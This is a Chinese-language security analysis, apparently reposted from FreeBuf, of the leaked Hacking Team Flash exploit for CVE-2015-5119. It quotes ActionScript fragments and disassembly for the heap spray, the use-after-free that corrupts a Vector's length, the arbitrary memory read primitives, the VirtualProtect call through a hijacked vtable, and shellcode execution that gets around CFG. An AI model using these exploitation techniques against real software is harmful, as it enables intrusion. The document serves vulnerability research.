Hacking Team持续追踪之Flash Exploit

栏目: JavaScript · 发布时间: 8年前

内容简介:Hacking Team持续追踪之Flash Exploit

背景

7月以来泄露的0day还真是让人欢喜让人忧。相比于Malwaredontneedcoffee时不时放出样本中不人道的混淆加密,人家HackTeam提供的可是缩进工整、变量命名规范、有注释、有辅助调试模块的Exploit工程。微量的堆喷射,直接利用类成员变量读取对象地址,全程无需ROP还顺便绕过了CFG,兼顾了各版本的Debug和Release的Flash以及Windows和OSX,利用代码着实可圈可点。

目前已有数份相关分析报告(见参考链接[1]和[2])对valueOf导致UAF的原理进行了披露,本文以CVE-2015-5119为例分享漏洞触发后的HackTeam精心调教的利用技巧。

控制堆分布

利用代码起始于MyClass的静态函数TryExpl,同时Myclass也是提供覆写valueOf的漏洞利用类。触发前,首先要将待释放的ByteArray放到合适的位置。

var alen:int = 90; 
var a = new Array(alen);
if (_gc == null) _gc = new Array();
_gc.push(a); // protect from GC // for RnD
for(var i:int; i < alen; i+=3) {
 a[i] = new 
MyClass2(i);
 a[i+1] = new 
ByteArray();
 a[i+1].length = 0xfa0;
 a[i+2] = new 
MyClass2
(i+2);
}

由于后续操作牵涉大内存申请/释放,可能导致垃圾回收。为了确保喷射的堆内存不会影响到漏洞的稳定利用,特意使用_gc(MyClass的静态成员,不会因为后续垃圾回收被清空内存)存放所有申请的内存。路径 root->MyClass->_gc->a->MyClass2的存在保证无论是常规清理还是Mark&Sweep都无法干扰到利用过程中所使用的内存。

常见的堆内存喷射用的无非是ByteArray或Vector,这次却直接用MyClass2这个类的实例来填充。MyClass2继承MyClass1,MyClass1继承ByteArray,目的应该是确保使用MyClass2实例喷射的内存能够和ByteArray喷射的内存共同占据连续内存。 MyClass2自身包含900个uint类型的成员变量(a0~a900),且因继承MyClass1,还会包含4个Object类型的成员(o1~o4),所以MyClass2共占用:[堆头:0x20]+[MyClass类自身和继承等带来的一系列结构:0x5C]+[4个Object:4*4]+[900个uint:900*4],也就是0xE9C字节(Flash-Debug-17.0.0.188),最后对齐到了0×1000字节的内存块。ByteArray的长度为0xfa0,也对齐到了0×1000字节的内存块。

猜测这两个不整齐的数字是考虑不同版本的Flash及操作系统都对MyClass2大小的影响,所以预留的空间是确保今后版本更新变化也无需修改代码。喷射后的内存结构示意如图1:

Hacking Team持续追踪之Flash Exploit

图1. 0×3000为基本重复单元,两个MyClass2中间夹着ByteArray.

在MyClass2初始化时,o1初始化为类自身的atom指针,a0初始化为MyClass2在a数组中的序号,便于快速索引,而后的63个成员变量设为0×11223344,用于标记定位。

function MyClass2(id:int) {
 o1 = this; 
 a0 = id;
 for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
}

对于MyClass2,0×1000块中+0×20为类实例的存放起始地址,+0x7C是o1~o4变量的存放位置。图1中,位于0x0757007C的o1存放的值刚好是MyClass2地址+1(0-untagged, 1-object, 2-string, 3-namespace, 4-undefined, 5-boolean, 6-integer, 7-double)。变量o1被频繁用于获取AS3对象的地址,余下o2~o4为null。0x0757008C为a0,存放了该MyClass2在数组中的索引序号,这样一旦通过超长Vector读取到该序号index,可以直接调用a[index]取得MyClass2的引用句柄。

触发和定位

喷射的堆块开始部分可能会因碎片内存难以出现连续的0×3000块,但后续区块基本可以稳定出现所需的结构。所以在尝试触发漏洞的时候,优选末尾的0×3000向前遍历,多轮循环保证即便碰上页边界时,总会找到符合条件的连续块:

var v:Vector.<uint>;
for(i=alen-5; i >= 0; i-=3) {
 _ba = a[i];
 _ba[3] = 
new
 MyClass();
...
prototype.valueOf = function () {
 _va = new Array(5);
 _gc.push(_va);
 _ba.length = 0x1100;
 for(var i:int; i < _va.length; i++)
  _va[i] = new Vector.<uint>(0x3f0);
 return 0x40;
}

每轮循环中的_ba都指向了0×3000块中间的ByteArray,当执行赋值操作时触发valueOf修改了_ba指向的ByteArray长度,导致其内存迁移,原内存释放,_ba指向已经释放的内存。最后通过同样对齐到0×1000字节的Vector占位,_ba[3]实则指向了新申请Vector长度字段的高8位。0×40写入后,Vector长度被修改为0x400003f0。

值得注意的是_ba[3]=new MyClass(),既然是声明了新MyClass实例,按说其强制转换调用valueOf就算修改也是修改了新实例的_ba,不会影响当前MyClass中的_ba才对。 如果希望影响当前_ba,似乎_ba[3]=this才是更合理的语句。但_ba[3]=this是通不过编译的,要是通过篡改字节码或者其他技巧达成类似效果,利用代码模板就失去了本意的便捷。为了能够篡改当前类的_ba, HackTeam将它声明为静态变量,这样_ba在类的所有实例中指向相同,修改新建的MyClass里的_ba一样可以影响当前类_ba指向的ByteArray。成功篡改长度后,内存格局如图2:

Hacking Team持续追踪之Flash Exploit

图2. 被篡改长度的Vector位于0×3000单元的中间,替代了原ByteArray.

得益于此前堆分布,定位Vector自身或是其他AS3对象的绝对地址变得异常容易:

for(var j:int=0; j < _va.length; j++) {
 v = _va[j];
 if (v.length != 0x3f0) {
  var k:int = 0x400 + 70;
  if (v[k] == 0x11223344) {
   do k-- while (v[k] == 0x11223344);
   var mc:MyClass2 = a[v[k]];
...
ShellWin32.Init(v, (v[k-4] & 0xfffff000) - 0x1000 + 8, mc, k-4)

首先遍历找到被修改了长度的vector,而后使用索引0×400+70查看(0×400+70)*4+8+0×07571000=0×07572120处的内存,恰落入0×11223344所在0×07572090~0×07572190块中间,依此可检验内存块是否分布正确。再向前找到第一个不为0×11223344的值,即MyClass2所在的序号了,通过数组a加序号索引就能找到相邻MyClass2类的句柄。其实,这些个对象用固定偏移来找问题并不大,可能HackTeam太顾及多版本差异,为未来着想,一定预留浮动范围,然后靠小循遍历定位,确保一劳永逸,如此精雕细琢的利用代码当然是稳定的不像话。a0所在位置k再向前4个元素,v[k-4]刚好指向o1,减1就是MyClass2的实际地址,&0xfffff000就是MyClass2所在0×1000块的首地址,-0×1000+8就得到了v[0]所指向的绝对地址,存入vAddr。

从此,用v[(address-vAddr)>>>2]可以访问任意地址内存,而mc.o1=Object后v[k-4]-1可以得到AS3任意对象的绝对地址。两个功能包装好了,就是ShellWin32.as里的GetAddr和Get:

static function 
GetAddr
(obj:Object):uint {
 _mc.o1 = obj;
 return _v[_mcOffs] - 1;
}
static function 
Get
(addr:uint):uint {
  return _v[(addr - _vAddr) >>> 2];
}

打开shellcode执行权限

有了基本的地址信息,代码转入ShellWin32的Exec。首先要取得shellcode所在地址:

var xAddr:uint = GetAddr(_x32);
xAddr += _isDbg ? 0x1c : 0x18;
if (Get(xAddr) < 0x10000) xAddr -= 4; // for FP 11.4
Addr = Get(xAddr) + 8;

_x32是Vector.<uint>,但Vector实际存储的缓冲区指针在Release和Debug版分别放置于偏移0×18或0x1C的位置。为了顾全所有版本,还要注意到Flash 11.4版本以前是没有这个偏移区别的。11.4后,Debug版的Vector在缓冲区指针前加入了一个0×00000001字段,如图3:

Hacking Team持续追踪之Flash Exploit

图3. 左侧是11.4以前Release和Debug的Vector对比,右侧是11.4以后的对比.

然后找一个虚函数表地址对齐0×10000反向递进到PE头,再按照PE结构从导入表中可以找到VirtualProtect的API的地址。接下来,CallVP调用VirtualProtect开启执行权限还是一如既往的利落,面面俱到,省去了繁琐的ROP,站在前面铺垫的代码基础上没偷懒,反而更上一层楼。核心思想是替换ExecMgr虚函数表的call函数指针,指向VirtualProtect:

static function Payload(...a){}
static function CallVP(vp:uint, xAddr:uint, xLen:uint) {
Payload(); // generate Payload function object
var p:uint = GetAddr(Payload);
var ptbl:uint = 
Get(Get(Get(Get(p + 8) + 0x14) + 4) + (isDbg ? 0xbc:0xb0));
var p1:uint = Get(ptbl);
var p2:uint = Get(p+0x1c);
var p3:uint = Get(p+0x20);

上述代码粗体部分可能是最不直观的一环,此前也没遇见过,乍一看,好像得把AS3好多结构体逆通才能算出来他们的偏移。其实转头看看Flash中FunctionObject::AS3_call的代码就全明白了:

int AS3_call(void *this, int thisArg, int *argv, int argc)
push    ebx
push    esi
mov     esi, ecx
mov     ecx, [esp+8+thisArg]
mov     eax, [esi]
mov     edx, [eax+8Ch]
push    edi
push    ecx
mov     ecx, esi
call    edx
mov     ebx, eax
mov     eax, [esi+8]
mov     ecx, [eax+14h]
mov     edx, [ecx+4]
mov     eax, [esi]
mov     edi, [edx+0B0h]
mov     edx, [eax+90h]
lea     ecx, [esp+0Ch+thisArg]
push    ecx
mov     ecx, esi
call    edx
mov     ecx, [esp+0Ch+argv]
mov     eax, [eax]
mov     edx, [edi]
mov     edx, [edx+1Ch]
push    ecx
mov     ecx, [esp+10h+argc]
push    ecx
push    ebx
push    eax
mov     ecx, edi
call    edx
pop     edi
pop     esi
pop     ebx
retn    0Ch

Payload是FunctionObject类型,调用Payload.call的时候,最终会走向FunctionObject::AS3_call,其内部调用core()->exec->call跳转到Payload对象JIT出来的代码。由于是FunctionObject和ExecMgr等的继承关系,能够直接通过自身结构定位到ExecMgr的虚函数表。 有了这段汇编代码,无需搞清楚错杂的继承也很容易知道偏移的计算方法。刚进入AS3_call的时候,ecx也就是随后的esi指向了Payload对象,即AS3中p = GetAddr(Payload)的p值。参考粗体部分的汇编代码,ExecMgr的对象的虚函数表位于[[[[[esi+8]+0×14]+4]+0xB0],偏移0处就是其虚函数表,即AS3代码中的ptbl所指。后三行粗体表明call地址位于虚函数表的偏移+0x1C位置。core()->exec->call会牵涉一些其他虚函数的调用,所以HackTeam连同其虚表上下共0×400字节全部做了备份,然后在备份上改写+0x1C处为VirtualProtect的地址:

for(var i:uint; i < 0x100; i++) _v[i] = Get(p1-0x80 + i*4);
 _v[0x20+7] = vp; // 0x1C/4=7
Set(ptbl, _vAddr + 0x80);

现在调用Payload.call就会跳转到VirtualProtect执行了。劫持ExecMgr.call理解起来比Sound.toString或者FileReference.cancel繁琐了不少,但相比之下,传参给VirtualProtect时就省了ROP。

观察上述汇编代码,core()->exec->call(env, thisArg, argc, argv)和VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect)一样都是四个参数。argc, argv两个参数含义好理解,就是AS3层调用Payload.call时候传入参数个数和参数所在的数组,只要让参数个数为0×40,flNewProtect就变为RWX了,argv本来指向的就是存储参数的可写堆内存,也不用操心。前两个参数实际上是位于Payload对象的0x1C和0×20位置处两个数值,如图4所示:

Hacking Team持续追踪之Flash Exploit

图4. 左侧是Payload对象内存,右侧是core()->exec->call()时的栈.

直接改写Payload的内存就可以控制VirtualProtect参数,将这两个地址替换成shellcode的地址和其长度。所以最后在AS3层调用VirtualProtect就变成了:

Set(p+0x1c, xAddr);
Set(p+0x20, xLen);
var args:Array = new Array(0x41);   
var res = Payload.call.apply(null, args);

观察HackTeam用的代码中并没有直接call,而是call.apply,其实是仅仅为了书写方便而已,写成Payload.call(null,null,…null),共0×41个null也是可用的。之所以是0×41而不是0×40,是因为第一个null为调用者而不是函数参数。call(object, param1, param2…)和apply(object, new Array(param1,param2…))是等价的。args按说完全是参数数组了,长度还要设置为0×41是因为apply的调用者为call,而object指针不会从apply向call传递。在call看来传过来参数包含了object指针和参数,所以数组的第一个参数就作为了object指针,也就是这种传递过程会吃掉一个参数。

调用VirtualProtect后再恢复修改过的虚函数表和Payload内存就可以执行shellcode了。

执行shellcode

上述执行VirtualProtect的方法用来执行shellcode也是可用的。但人家偏不复用,非要换一个方法,即直接替换Payload的MethodEnv->MethodInfo里存储的JIT后的代码地址,非常类似Core Security提出的绕过CFG的方法(见参考链接[3])。

Payload对象+0x1C存储了MethodEnv指针,MethodEnv的+8指向MethodInfo,MethodInfo+4就是_implGPR,存储JIT后的代码地址。所以调用shellcode的AS3代码就变为:

var payAddr:uint = GetAddr(Payload);
payAddr = Get(Get(payAddr + 0x1c) + 8) + 4;
var old:uint = Get(payAddr);
Set(payAddr, xAddr);
var res = Payload.call(null);

虽然触发条件仍然是Payload.call,但上次是替换了ExecMgr的虚函数call,而这次是直接替换了JIT后的代码地址。JIT代码调用不在CFG监测的范围,而ExecMgr的虚函数表可能是过于频繁使用,出于性能考虑,也没有CFG的守护。

其实用JIT的方法调用shellcode的好处还在于,shellcode可以可以返回需要的结果让AS3获取以指导下一步操作,比如EAX存储了CreateProcessA的执行结果,返回前构造一段类似下面的代码,让EAX转化为atom:

04DDE32D  SHL EAX,3
04DDE330  ADD EAX,6
04DDE333  LEAVE
04DDE334  RETN

res = Payload.call(null)后,AS3可以根据进程创建情况判断沙箱的限制,以决定是否进一步部署内核漏洞利用代码进行权限提升。

结语

HackTeam的Flash Exploit在超长Vector获取前的堆分布,获得后的代码执行阶段加入了不少独辟蹊径的技巧,对不同版本和操作系统的考量也让利用代码异常稳定。只是如今随着Adobe在18.0.0.209时引入了Vector内存隔离和类似对抗JIT-Spray的长度异或校验(见参考链接[4]),这套利用模板已经不能走得更远了。一整年的喧嚣后,Flash大概也想清静一下了。

参考链接

[1] http://blogs.360.cn/blog/hacking-team-flash-0day/

[2] http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.qF1hVN&id=24

[3] https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/

[4] http://googleprojectzero.blogspot.com/2015/07/significant-flash-exploit-mitigations_16.html

* 作者/ADLab(启明星辰积极防御实验室),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Design Accessible Web Sites

Design Accessible Web Sites

Jeremy Sydik / Pragmatic Bookshelf / 2007-11-05 / USD 34.95

It's not a one-browser web anymore. You need to reach audiences that use cell phones, PDAs, game consoles, or other "alternative" browsers, as well as users with disabilities. Legal requirements for a......一起来看看 《Design Accessible Web Sites》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具